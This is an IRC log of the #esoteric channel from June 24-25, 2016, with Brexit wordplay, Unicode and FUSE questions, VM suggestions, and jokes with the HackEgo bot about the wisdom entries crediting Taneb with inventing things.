08:43:35 <HackEgo> ​#!/bin/sh \ exec perl -e 'local$/=\999;seek STDIN,rand((-s STDIN)-299),0 or die;print<STDIN>=~y/ \t/ /sr;' < share/recipe/recipes.txt
08:43:36 <shachaf> Oops, was scrolled up.
08:52:53 <b_jonas> `? brexit
08:52:54 <b_jonas> int-e: ^
08:52:55 <HackEgo> brexit is like a break, except when there's no surrounding loop, in which case it's like an exit.
09:13:36 <shachaf> Taneb: hugs are available in california hth
09:15:02 <fizzie> I'm feeling unwelcome due to that 'xit.
09:15:24 <fizzie> Also I hear people in Finland are already calling for a Fixit.
09:20:14 <\oren\> ok now that shortening is just absurd
09:20:26 <\oren\> Finnxit
09:20:37 <\oren\> is much better
09:20:57 <shachaf> fizzie: but it ain't broken
09:21:32 <fizzie> That's not reason not to fixit.
10:00:33 -!- gamemanj has joined.
10:08:52 -!- hppavilion[1] has joined.
10:14:20 -!- MoALTz has joined.
10:19:53 -!- Koen_ has joined.
10:22:38 <asie> fizzie: Fixit? I heard Finish
10:22:52 <asie> gamemanj: Huh.
10:23:28 <hppavilion[1]> Whoa, the UK has a thing called "The Shadow Cabinet"
10:24:40 <int-e> shachaf: the amendment doesn't affect me directly... but such ideas are easily spread and adapted to other legal frameworks.
10:25:09 <hppavilion[1]> int-e: What ammendment?
10:25:36 <int-e> b_jonas: part of the reason I asked is that that wisdom entry doesn't really satisfy me
10:34:28 <^v> literally every channel is going crazy with brexxit
10:34:52 <^v> 51.9%
10:37:13 <int-e> ^v-- # abuse of "literally"
10:43:07 <gamemanj> brexit's driving the world insane
10:43:36 <gamemanj> someone get a microwave,
10:43:39 <gamemanj> a CRT, and a phone
10:46:23 <zzo38> What will you then do with those devices?
10:47:35 * gamemanj gets out a sheet marked "KNOWLEDGE INFORMATION SHEET ID 'zzo38'", goes to a particular row, and checks the box marked "Does not know"
10:48:06 * gamemanj then puts the sheet back
10:48:58 <int-e> https://www.reddit.com/r/steinsgate/comments/3h2prn/can_someone_explain_to_me_how_the_microwave_o/ seems relevant
10:48:59 <hppavilion[1]> "Obama Administration Orders Apple to Ignore the Laws of Math"
10:49:26 <int-e> @google microwave crt phone
10:49:28 <lambdabot> http://anime.stackexchange.com/questions/21064/how-does-the-steinsgate-phone-microwave-work
10:49:28 <lambdabot> Title: How does the Steins;Gate phone microwave work? - Anime & Manga Stack Exchange
10:50:38 * int-e is more surprised to learn that there is an anime stackexchange than about the fact that google made sense of this combination of keywords :P
10:50:52 <gamemanj> ...
10:50:57 <gamemanj> actually that is very surprising
10:54:55 <Melvar> Huh. From the unicode 9.0 update: “An uppercase Latin letter was added, U+A7AE LATIN CAPITAL LETTER SMALL CAPITAL I, forming a case pair with an existing lowercase letter, U+026A LATIN LETTER SMALL CAPITAL I, for which a different uppercase counterpart had been recommended, but not formally mapped, prior to Unicode 9.0.”
10:55:24 <Melvar> I wish I knew the reasoning there.
10:55:32 <gamemanj> `unidecode U+A7AE
10:55:48 <HackEgo> ​[U+0055 LATIN CAPITAL LETTER U] [U+002B PLUS SIGN] [U+0041 LATIN CAPITAL LETTER A] [U+0037 DIGIT SEVEN] [U+0041 LATIN CAPITAL LETTER A] [U+0045 LATIN CAPITAL LETTER E]
10:55:49 <gamemanj> `unidecode U+026A
10:55:55 <gamemanj> ...
10:55:55 <HackEgo> ​[U+0055 LATIN CAPITAL LETTER U] [U+002B PLUS SIGN] [U+0030 DIGIT ZERO] [U+0032 DIGIT TWO] [U+0036 DIGIT SIX] [U+0041 LATIN CAPITAL LETTER A]
10:56:01 <gamemanj> `unicode U+026A
10:56:04 <HackEgo> ​ɪ
10:56:09 <gamemanj> `unicode U+A7AE
10:56:09 <HackEgo> ​Ɪ
10:56:23 <gamemanj> `unidecode ɪꞮ
10:56:27 <HackEgo> U+026A LATIN LETTER SMALL CAPITAL I \ UTF-8: c9 aa UTF-16BE: 026a Decimal: &#618; \ ɪ \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+A7AE - No such unicode character name in database \ UTF-8: ea 9e ae UTF-16BE: a7ae Decimal: &#42926; \ Ɪ (Ɪ) \ Uppercase: U+A7AE \ Category: Cn (Other, Not Assigned)
10:58:50 <Melvar> Oh, here we go. The African Reference Alphabet uses ɪ as a separate letter, which needs an uppercase form (distinguished from I by always having crossbars).
10:59:46 <Melvar> Though the graphical distinction isn’t necessary, really; it suffices that it is semantically separate and that it needs to toLower to ɪ.
11:03:47 <Melvar> Hm. Apparently only the 1978 version had that, while the 1982 revision replaced it with Latin Iota (Ɩ, ɩ).
11:03:53 <HackEgo> [wiki] [[Hexagony]] https://esolangs.org/w/index.php?diff=47245&oldid=47017 * 163.116.6.90 * (+3) Fixed typo : 3 occurences of "centred" instead of "centered"
11:04:38 <Melvar> That’s not a typo, that’s commonwealth spelling, I’m pretty sure. <ω<
11:04:38 <gamemanj> what's wrong with "centred"...?
11:05:18 <gamemanj> ok, compromise
11:05:24 <gamemanj> centreed
11:11:00 <fizzie> asie: The "fixit" name was independently discovered by myself, but I afterwards learned people had been using it. I'm sure there's alternatives as well.
11:23:20 <b_jonas> `? fixit
11:23:35 <HackEgo> fixit? ¯\(°​_o)/¯
11:34:58 -!- rntz has quit (Ping timeout: 244 seconds).
11:37:37 <FireFly> Some tweet suggested "Finish"
11:41:15 <izabera> i'm playing with fuse, how do i keep a fd open to a real file outside my fs?
11:41:54 <izabera> from my open i'm assigning the fd to fuse_file_info->fh
11:42:03 <izabera> but then i can't read
11:46:10 -!- rntz has joined.
11:53:08 -!- Koen__ has joined.
11:56:12 -!- Koen_ has quit (Ping timeout: 260 seconds).
11:59:00 <izabera> oh i had to set the size apparently
11:59:07 <izabera> ah this makes sense
12:01:49 <izabera> yay it works
12:06:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
12:13:53 <izabera> ok so: if i create a regular file, i can't set 0 as its size and can't read past its size in any way
12:14:24 <izabera> if i create a fifo, write is never performed and all i get is the same data i wrote on it
12:15:14 <izabera> block/character devices, i can't open them with a simple redirection in bash with a non root user
12:15:28 <izabera> and i can never open a socket with a redirection in bash
12:16:51 <izabera> is there a way to simulate something like /dev/urandom with fuse? generating data when read is performed
12:18:19 <izabera> mmh, i can't even open block/character devices with root...
12:18:23 <izabera> must be doing something wrong
12:23:20 -!- hppavilion[1] has joined.
12:24:02 <hppavilion[1]> Hah! A company banning their employees from sending encrypted email!
12:24:04 <izabera> ah i see, fuse won't let me create block devices at all, and i need special options to create character devices
12:24:11 <izabera> hppavilion[1]: what company?
12:24:15 <hppavilion[1]> Sounds like Donald Knuth's new place of employment
12:24:29 <hppavilion[1]> London's Southwark Council, it looks like? http://www.theregister.co.uk/2001/05/18/the_2001_daftas_most_pc/
12:27:01 <gamemanj> izabera: for block devices, try "abuse", though it doesn't seem to be a commonly compiled module...
12:28:18 <gamemanj> (this: https://lwn.net/Articles/343514/ , if it's even in the kernel...)
12:28:32 <izabera> thanks
12:29:05 <gamemanj> there's also this solution which apparently just uses a network-block-device loopback: https://github.com/acozzette/BUSE
12:29:22 <hppavilion[1]> If I find that a set of rules contains a contradiction, can I use the principle of asplosion to do anything I want?
12:29:42 <gamemanj> don't count on it
12:31:05 <hppavilion[1]> gamemanj: Can I at least be a massive pain in the ass?
12:31:12 <izabera> they all require moar modules :(
12:31:38 <gamemanj> Well, yes, but NBD is one you're likely to have
12:31:46 <hppavilion[1]> izabera: moar modules are a rather interesting area of abstract algebra
12:31:46 <gamemanj> while abuse is not
12:31:54 <hppavilion[1]> They were invented by Taneb, iirc
12:32:30 <Melvar> hppavilion[1]: Is everything random invented by Taneb?
12:32:41 <gamemanj> `? tanebventions
12:32:44 <hppavilion[1]> Melvar: No; Taneb invented determinism
12:33:01 <hppavilion[1]> Melvar: He invented the /lack/ of randomness
12:33:11 <HackEgo> Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, Tanebventions, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex.
12:33:30 <hppavilion[1]> `? tanebventions: math
12:33:34 <HackEgo> Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, Klein bottles, the reals, Lambek's lemma, pointless topology, and histograms.
12:34:21 <hppavilion[1]> `quote tori
12:34:24 <HackEgo> 367) <Phantom_Hoover> oerjan, little do you realise that everything you say and do is part of that great monad tutorial we call life. \ 628) <oklopol> i don't lie, i tell stories <oklopol> there's no difference <oklopol> *a \ 866) <elliott> Phantom_Hoover: I like how the Victorians hadn't quite figured out you were meant to name books something s
12:34:25 <gamemanj> ...wait, Taneb invented the BBC? That explains why the news is always full of sad events with the occasional puppy...
12:34:42 <hppavilion[1]> gamemanj: It gets worse
12:34:50 <hppavilion[1]> `? necessity
12:34:54 <HackEgo> If necessity did not exist, it would be necessary for Taneb to invent it.
12:35:01 <hppavilion[1]> Wait, where is it again?
12:35:21 <gamemanj> error ERR_SUCCESS : contradiction! error
12:35:55 <hppavilion[1]> `` grep Taneb wisdom/*
12:36:09 <HackEgo> grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/automatic squirrel feeder:Automatic squirrel feeders are just feeders in the category of automatic squirrels. Taneb invented them. \ wisdom/bbc:The BBC is the BreadBox Corporation. Its inventions include, without limitation,
12:36:22 <hppavilion[1]> `? bbc
12:36:24 <HackEgo> The BBC is the BreadBox Corporation. Its inventions include, without limitation, Muppets and tiny elfs. Taneb invented it.
12:36:41 <hppavilion[1]> `` grep BBC wisdom/*
12:36:43 <gamemanj> one day the "print text for error code" routine should be rewritten to make the success code return "Calling code cannot tell difference between error and success. If this is a message box, use a debugger to hotpatch the code so this doesn't occur again."
12:36:44 <HackEgo> grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/a:A is _not_ a village in Norway, unless you're the BBC and don't understand things on top of letters. \ wisdom/Å:Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters. \ wisdom/b:
12:37:16 <gamemanj> oh, I thought Å was the point of origin
12:37:18 <hppavilion[1]> `` grep "did not invent" wisdom/*
12:37:21 <HackEgo> grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/bdsm:BDSM definitely isn't a kind of LARP and Taneb definitely did not invent it. \ wisdom/fundamental theorem of taneb:The Fundamental Theorem of Taneb states that for all strings S, if S describes a thing, then it is prova
12:37:36 <hppavilion[1]> *sigh*
12:37:52 <gamemanj> given the usual reliability of wisdom, that means Taneb did invent it
12:38:25 <Melvar> `? fundamental theorem of taneb
12:38:28 <HackEgo> The Fundamental Theorem of Taneb states that for all strings S, if S describes a thing, then it is provable that Taneb invented the thing described by S; and, furthermore, that it is provable that there exists a string T that describes a thing that Taneb did not invent.
12:38:57 <gamemanj> now that's contradictory
12:39:19 <gamemanj> (S covers all strings, T exists and covers all strings not in S, but S covers all strings, so thus T cannot exist)
12:39:36 <gamemanj> (unless "provable" != "true")
12:40:16 <hppavilion[1]> `` grep -l Taneb wisdom/*
12:40:25 <HackEgo> grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory \ wisdom/automatic squirrel feeder \ wisdom/bbc \ wisdom/bdsm \ wisdom/bogosort \ wisdom/boxmodel \ wisdom/chu space \ wisdom/ci \ wisdom/costume \ wisdom/curry's paradox \ wisdom/deniability \ wisdom/d-module \ wisdom/ehird \ wisdom
12:41:59 <hppavilion[1]> `` grep -l Taneb wisdom/* > share/tanebgrep
12:42:11 <HackEgo> grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory
12:42:21 <hppavilion[1]> `url share/tanebgrep
12:42:27 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/share/tanebgrep
12:42:35 <hppavilion[1]> `` grep Taneb wisdom/* > share/tanebgrep
12:42:56 <HackEgo> grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory
12:43:15 <hppavilion[1]> `? progress
12:43:17 <HackEgo> Progress has been made today. It was invented by Taneb.
12:44:10 <hppavilion[1]> `` grep BBC wisdom/* >> share/tanebgrep
12:44:14 <HackEgo> grep: wisdom/le: Is a directory \ grep: wisdom/¯\(°_o): Is a directory \ grep: wisdom/¯\(°​_o): Is a directory
12:44:29 <hppavilion[1]> gamemanj: Found it
12:44:34 <hppavilion[1]> gamemanj: Taneb invented the BBC
12:45:11 <hppavilion[1]> `? nitia
12:45:15 <HackEgo> nitia is the inventor of all things. The BBC invented her.
12:46:04 <hppavilion[1]> If the universe is divided into planck lengths
12:46:20 <hppavilion[1]> Which, I assume, are discrete, tiled, and minecrafty- almost certainly wrong, but I assume it
12:46:56 <hppavilion[1]> Then doesn't taxicab geometry say that going straight from point a to point b is always the same distance as going orthagonally to point b's x then to its y?
12:47:55 <hppavilion[1]> `? a brazillian
12:47:58 <HackEgo> a brazillian? ¯\(°​_o)/¯
12:48:03 <hppavilion[1]> `? brazillian
12:48:05 <HackEgo> brazillian? ¯\(°​_o)/¯
12:48:08 <gamemanj> Only if you're able to move in single adjacent steps.
12:48:11 <hppavilion[1]> `? brazilion
12:48:14 <HackEgo> brazilion? ¯\(°​_o)/¯
12:48:18 <hppavilion[1]> `? brazillion
12:48:20 <HackEgo> brazillion? ¯\(°​_o)/¯
12:48:50 <Melvar> Well, that assumes specifically that the universe is anisotropic. It kinda looks like division into planck lengths would imply that, but it may not. Who knows how counterintuitive things get at small scales.
12:48:57 <gamemanj> If working in something like the Moore neighborhood, it is quicker to take a step diagonally than west-then-north or north-then-west.
13:05:35 <hppavilion[1]> Literally Just Porn (GONE SEXUAL)
13:15:05 <hppavilion[1]> CHALLENGE: Find the most racist/sexist/homophobic/biphobic/transphobic/egalitarian/ableist/ageist/islamaphobic/anything else single proper sentence possible
13:16:18 <gamemanj> ANSWER: hppavilion[1] is secretly Donald Trump, judging by the question this sentence answers.
13:16:48 <b_jonas> hppavilion[1]: http://www.smbc-comics.com/index.php?id=4146
13:17:12 <hppavilion[1]> b_jonas: Affirmative?
13:27:37 -!- Oliver__ has joined.
13:27:50 <Koen__> "egalitatian"
13:27:51 -!- Oliver__ has left ("Leaving").
13:27:57 <Koen__> "egalitarian"*
13:28:25 <Koen__> did I win? did I spot the intruder?
13:33:37 -!- FreeFull has quit (Quit: Reconnecting).
13:33:54 -!- FreeFull has joined.
13:41:39 <izabera> \oren\: http://www.smbc-comics.com/index.php?id=2492 add these!
13:43:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
13:46:09 <b_jonas> `wisdom
13:46:14 <HackEgo> ham//Ham is a kind of meat. It is popular in Hexham, among other places.
13:51:22 -!- Destructible has joined.
13:51:24 <Taneb> I can confirm, I had a ham sandwich in Hexham today
13:53:44 <gamemanj> hexhexhexhex/hex/hexhamhexhex/hexhamhexhex/hamhamham
13:54:25 <Destructible> ???
13:58:11 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
14:03:48 -!- Destructible has quit (Quit: Page closed).
14:31:44 -!- Sgeo_ has joined.
14:32:42 -!- bender__ has joined.
14:36:18 <b_jonas> `wisdom
14:36:21 <b_jonas> `random-card
14:36:32 <HackEgo> imperative language//Imperative languages tell you what to do.
14:36:33 <HackEgo> Death's Shadow \ B \ Creature -- Avatar \ 13/13 \ Death's Shadow gets -X/-X, where X is your life total. \ WWK-R
14:38:29 <gamemanj> so, the gist of it is, imperative languages are mean
14:39:10 <gamemanj> and Death's Shadow is not cuddly
14:41:25 -!- bender__ has quit (Changing host).
14:41:25 -!- bender__ has joined.
14:41:35 -!- bender__ has changed nick to bender.
14:43:58 <myname> that would actually be a nice card for hearthstone
14:49:27 <Melvar> So, it gets stronger the closer to death you are? Neat!
14:51:41 <b_jonas> yes, and Diminish kills it
15:03:37 -!- boily has joined.
15:45:01 -!- Melvar has quit (Quit: WeeChat 1.4).
15:45:14 -!- Melvar has joined.
15:46:06 -!- idris-bot has quit (Ping timeout: 276 seconds).
15:50:31 -!- iaglium has joined.
15:56:13 <myname> the nice thing about it in hearthstone would be that you actually don't want to get it silenced
16:21:54 <boily> mynamello. silenced as in people not talking, or like no sound effects?
16:30:56 <Melvar> It’s funny how “silence(d)” in so many games refers to being unable to cast spells or certain spells, including some that do not show the spell having any verbal component.
16:35:32 <myname> silencing in hearthstone removes any special effect of a minion
16:39:14 -!- Kaynato has joined.
16:55:16 <Melvar> So in this case, wouldn’t you *want* it silenced, because that’d remove the debuff?
16:55:59 <myname> well, your opponent won't silence it, yes
16:56:21 <myname> usually you silence enemy minions to get rid of annoying effect
16:57:05 <Melvar> Ah, you meant you don’t want to silence your *enemy’s*. Yeah.
17:00:53 <\oren\> Uh-oh what if Nexit is next?
17:01:20 <\oren\> It sounds like a allergy medication
17:08:11 <gamemanj> "major clothing store leaving EU"
17:08:37 <gamemanj> "thousands of buy-happy shoppers infuriated"
17:08:52 <gamemanj> s/thousands/millions/
17:10:14 -!- augur has joined.
17:12:36 -!- trn has quit (Ping timeout: 246 seconds).
17:12:49 -!- jaboja has joined.
17:16:14 -!- gamemanj has quit (Ping timeout: 260 seconds).
17:16:24 <int-e> gamemanj: the obvious solution is to found an EU subsidiary. Luxembourg is popular for tax reasons...
17:16:39 -!- gamemanj has joined.
17:18:12 <\oren\> David Cameron resined
17:18:16 <int-e> oh xkcd, I think Randall overestimates the impact of tinyurl... since twitter has its own URL shortener.
17:21:49 <tswett> `? brexit
17:21:59 <HackEgo> brexit is like a break, except when there's no surrounding loop, in which case it's like an exit.
17:23:00 -!- trn has joined.
17:33:24 -!- moon__ has joined.
17:33:32 <moon__> anyone know a free VM (not virtualbox)?
17:35:41 <gamemanj> qemu, bochs, dosbox
17:41:56 -!- Koen__ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
17:42:53 <int-e> kvm xen dosemu
17:43:27 <int-e> (kvm borrows from qemu but the hypervisor should be its own? I don't know)
17:44:13 <int-e> https://en.wikipedia.org/wiki/Comparison_of_platform_virtualization_software lists licenses too
17:47:51 -!- jaboja has quit (Ping timeout: 264 seconds).
17:49:26 -!- augur has quit (Remote host closed the connection).
17:50:45 -!- jaboja has joined.
17:55:17 <moon__> hbot will be booted again soon
18:00:45 -!- jaboja has quit (Read error: No route to host).
18:07:01 -!- bender has quit (Ping timeout: 250 seconds).
18:09:54 -!- jaboja has joined.
18:19:39 -!- jaboja has quit (Ping timeout: 264 seconds).
18:24:01 -!- boily has quit (Read error: Connection reset by peer).
18:25:12 -!- boily has joined.
18:27:45 -!- jaboja has joined.
18:28:09 <fizzie> \oren\: Oh no! What sort of resin did he turn into?
18:29:09 -!- puckipedia has quit (Ping timeout: 260 seconds).
18:29:10 <fizzie> There's a brand of headache medication sold in Finland called "Dexit".
18:29:36 <fizzie> I guess that'd be the Danish one.
18:29:45 <moon__> hbot is being recovered
18:30:20 <fizzie> They have a very annoying ad jingle that goes approximately "dexit, dexit, headache's exit".
18:30:54 <fizzie> Except when they rebranded it to cover more aches and pains than just headaches, they just removed the word "head", but kept the timing and the rest in place.
18:31:24 <fizzie> So it turned into "Dexit, Dexit, ...ache's exit" (the possessive there works better in Finnish), with a really awkward prosody.
18:32:05 -!- puckipedia has joined.
18:37:54 -!- puckipedia has quit (Ping timeout: 260 seconds).
18:37:54 -!- HackEgo has quit (Ping timeout: 260 seconds).
18:39:59 -!- puckipedia has joined.
18:44:59 <\oren\> < int-e> kvm xen dosemu <-- I was so sure that was you speaking a foreign language...
18:46:32 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval
18:46:55 -!- Reece` has joined.
18:49:29 -!- HackEgo has joined.
18:50:08 * boily mentions moon__. mhelloon__.
18:50:14 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval
18:50:40 <gamemanj> I think moon__'s idea may result in spammy results...
18:50:43 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval
18:50:51 <gamemanj> Especially if people talk about moon.
18:50:54 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval
18:51:07 <gamemanj> you have got to be kidding me, it doesn't check for the "__"
18:51:20 <moon__> Hmm, ill fix that
18:51:23 <moon__> And turn it of
18:51:25 <gamemanj> I propose "that lunar object"
18:51:25 <moon__> Lol
18:52:16 <gamemanj> or "mluni"
18:52:33 <boily> I suggest "mhelloon"
18:52:36 <moon__> Dont make me add that to the catch
18:52:42 <moon__> lol
18:53:09 <moon__> eh, i wont
18:53:24 <gamemanj> (meanwhile, looking at a dictionary: ..."moon", in the sense of "space station"... what.)
18:53:58 <gamemanj> (oh, apparently the correct word was lunra)
18:54:15 <gamemanj> (mluni is just satellite)
18:55:47 <moon__> mention me and the moon again
18:55:54 <gamemanj> moon__
18:55:56 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval
18:56:00 <gamemanj> moon
18:56:01 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval
18:56:03 <moon__> Damn
18:56:19 <boily> _moon_
18:56:19 <moon__> >_>
18:56:21 -!- myndzi\ has joined.
18:56:25 <moon__> *slinks away*
18:56:36 * boily mapoles moon__ back into the chännel
18:56:47 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval
19:01:14 -!- myndzi\ has quit (Ping timeout: 260 seconds).
19:03:21 <\oren\> Uh.. If I was to add a script to my irssi, I would make it do something *useful*
19:03:43 <\oren\> (Or at least it would interpret an esolang)
19:04:29 -!- ybden has quit (Quit: Fing).
19:04:40 -!- ybden has joined.
19:06:28 -!- Reece` has quit (Read error: Connection reset by peer).
19:06:55 <boily> maybe moon__ should be like myndzi and have little dancing stick figures?
19:25:03 -!- jaboja has quit (Ping timeout: 264 seconds).
19:28:51 -!- Etaoin has joined.
19:37:34 -!- jaboja has joined.
19:41:43 -!- augur has joined.
19:46:22 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
19:49:22 -!- \oren\ has quit (Quit: leaving).
19:50:34 -!- oren has joined.
19:57:31 <Etaoin> memes
19:58:19 <oren> Hmm it would be nice (horrible) if there was a bot that scanned for memetic phrases and memeified them
19:58:37 <oren> Memeified all the things!
19:59:06 * boily looks at oren
19:59:28 <oren> < memebot> http://www.9gag.com/djasdhajkshdjkh
20:00:06 <Etaoin> Hmm it would be nice (horrible) if there was a bot that scanned for cancer and spammed it
20:00:10 <Etaoin> ^fixed it^
20:00:21 <oren> I heard you like memes so we put a meme in your meme so you can meme while you meme
20:02:57 <Etaoin> oerjan, that's a really neat formula! I'll save that somewhere. I take it this comes from euler's identity as so many things do?
20:04:08 -!- oren has changed nick to \oren\.
20:07:39 -!- jaboja has quit (Ping timeout: 264 seconds).
20:20:18 -!- moon__ has quit (Ping timeout: 250 seconds).
20:24:19 -!- augur has quit (Quit: Leaving...).
20:35:12 -!- tswett has set topic: The intradisciplinary hub of solidarity matrices, esoteric programming language design, multichannel bot abuse (always safe, sane and consensual), and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf.
20:48:58 -!- Etaoin has quit (Quit: Page closed).
20:49:10 -!- idris-bot has joined.
21:18:09 -!- hppavilion[1] has joined.
21:32:39 <shachaf> `wisdom
21:32:40 <shachaf> `wisdom
21:32:41 <shachaf> `wisdom
21:32:41 <shachaf> `wisdom
21:32:42 <shachaf> `wisdom
21:33:21 <HackEgo> 1337//1337 15 50 905
21:33:21 <HackEgo> pipe//This is not a pipe.
21:33:21 <HackEgo> oic//OIC, OIC means Oh I see.
21:33:21 <HackEgo> footnote 8//Isn't it fun reading through all the footnotes?
21:33:21 <HackEgo> post-turing machine//A post-Turing machine is a machine from the post-Turing era.
21:33:40 <shachaf> hppavilion[1]: What's share/tanebgrep for?
21:36:19 <boily> 905?
21:36:27 <hppavilion[1]> shachaf: For grepping for taneb
21:36:37 <shachaf> But anyone can grep for taneb anyway.
21:36:47 <shachaf> Why do you need it in the hg history?
21:36:50 <hppavilion[1]> shachaf: I outputted a grep there then opened it on codu so I could see the full file
21:37:00 <Taneb> I'd rather you didn't grep for me, it's a bit of an invasion of privacy
21:37:11 <shachaf> OK, so it was a pseudo-paste.
21:37:13 * hppavilion[1] is not the nsa
21:37:18 <hppavilion[1]> shachaf: Yes?
21:37:22 <shachaf> I don't think share/ is a good place for that.
21:37:23 <hppavilion[1]> Oh, right, there's a paste command, isn't there?
21:37:26 <shachaf> `cat bin/paste
21:37:27 <HackEgo> ​#!/bin/bash \ if [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists. \ then \ true \ else \ PASTENUM="$RANDOM" \ \ mkdir -p $HACKENV/paste \ \ url paste/paste."$PASTENUM" \ cat -- "${1--}" > $HACKENV/paste/paste."$PASTENUM" \ fi
21:37:33 <shachaf> Better to put it in paste/.
21:38:33 <shachaf> Taneb: Is that actually true?
21:39:15 <Taneb> It's more that every now and then I get pinged a few dozen times even though no-one particularly wants my input on anything
21:40:11 <shachaf> Ah.
21:40:26 <shachaf> I guess all the Tanebventions ping you.
21:40:54 <shachaf> Of course I was actually addressing you yesterday.
21:44:52 <coppro> was Taneb invented by Taneb?
21:45:02 <shachaf> `? cis
21:45:04 <HackEgo> The CIs are a secret society led by David Morgan-Mar, bent on conquering the world from Sydney with web comics and unsolvable puzzles. They invented Taneb.
21:45:14 <coppro> oh
21:45:26 <coppro> is Taneb a CI?
21:45:34 <Taneb> No
21:46:13 <shachaf> Taneb: Are you in York?
21:46:19 <Taneb> No
21:46:27 <shachaf> Northumberland?
21:48:50 <boily> Hexham?
21:53:01 <Taneb> Yes
21:59:28 -!- gamemanj has quit (Ping timeout: 258 seconds).
21:59:52 <shachaf> Weren't you in London at one point?
22:00:45 <Taneb> For one night, in December
22:01:11 <Taneb> I attended a workshop on software verification at ICL
22:01:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
22:02:47 -!- boily has quit (Quit: SIMILAR CHICKEN).
22:04:05 <int-e> Yay, Isabelle believes me that CL (the SKI one) is confluent.
22:29:56 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:35:44 <Taneb> int-e, I've been meaning to learn Isabelle
22:42:18 <int-e> Hmm. There's a lot of documentation at http://isabelle.in.tum.de/documentation.html and there's a (fairly inactive, but populated with a few helpful people) #isabelle on Freenode.
23:00:52 <int-e> That said it's probably hard to pick up Isabelle all by oneself... at work I have a number of colleagues who are also using Isabelle, which is tremendously helpful. Workshops with Isabelle tutorials may also help.
23:15:25 -!- oerjan has joined.
23:16:59 <oerjan> @tell hppavilion[1] <hppavilion[1]> In a 4D universe, would we have 2D roads? <-- if you consider 4d to include relativistic spacetime, we already do hth
23:16:59 <lambdabot> Consider it noted.
23:17:41 -!- jaboja has joined.
23:22:07 -!- bender has joined.
23:26:34 -!- boily has joined.
23:28:06 -!- bender has quit (Ping timeout: 250 seconds).
23:33:40 <\oren\> Roads are technically 3d actually
23:34:15 <\oren\> They have width and a maximum vertical clearance
23:36:00 <oerjan> ngurrju maboilyinpa
23:37:25 -!- PinealGlandOptic has joined.
23:37:52 -!- PinealGlandOptic has quit (Client Quit).
23:39:02 <\oren\> I found out ksp has a official irc channel
23:40:58 <boily> ...
23:41:00 <boily> ...
23:41:04 <boily> yoruba?
23:41:05 <oerjan> \oren\: but those are tiny dimensions. see string theory.
23:41:11 <oerjan> boily: nope.
23:41:27 <boily> I'm stumped.
23:42:13 <oerjan> well if you've so far _not_ googled things, i'm still impressed :P
23:42:52 <boily> it's more fun to guess without any tools :D
23:43:09 <oerjan> (hm i guess i should confess i did that with your mayan one yesterday. and i _still_ almost didn't find it.)
23:43:34 <oerjan> anyway, wrong continent.
23:44:37 <oerjan> i think my ability to guess languages like that is pretty small for anything non-european.
23:45:17 <boily> yolŋu? (that one I'm googling for sources...)
23:45:17 <oerjan> perhaps except a few asian ones.
23:45:33 -!- FreeFull has quit (Ping timeout: 240 seconds).
23:47:35 <oerjan> "The concept of 'Hello' does not exist in Yolngu,"
23:47:37 <oerjan> hence most use the English 'hello,' or 'hey'
23:47:50 <oerjan> stupid half-pastes
23:48:17 <boily> a language without helloes. nice find!
23:51:44 <oerjan> however, no, but right family!
23:52:05 <shachaf> did you know that the english have over 200 words for hello
23:55:24 <oerjan> yo shachaf, that's silly, obviously it's just a handful of roots that are being portmanteaued into the rest.
23:55:41 <quintopia> helloily
23:55:49 <shachaf> yowly
23:55:59 <shachaf> scowly
23:56:15 <shachaf> `? oerjan
23:56:26 <HackEgo> Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
23:56:58 <quintopia> `learn helloily is hella oily hth
23:57:05 <HackEgo> Learned 'helloily': helloily is hella oily hth
23:57:18 <shachaf> `? betty crocker
23:57:20 <HackEgo> betty crocker? ¯\(°​_o)/¯
23:58:08 <shachaf> `le/rn Betty Crocker/Betty Crocker is a notorious gambler.
23:58:11 <HackEgo> Learned «betty crocker»
23:59:38 <boily> quinthellopia!
2016-06-25
00:01:08 <boily> scowchaf? shascow?
00:01:20 <shachaf> boily: whoa whoa whoa
00:01:22 <shachaf> @wn scowly
00:01:24 <lambdabot> No match for "scowly".
00:01:27 <shachaf> hm
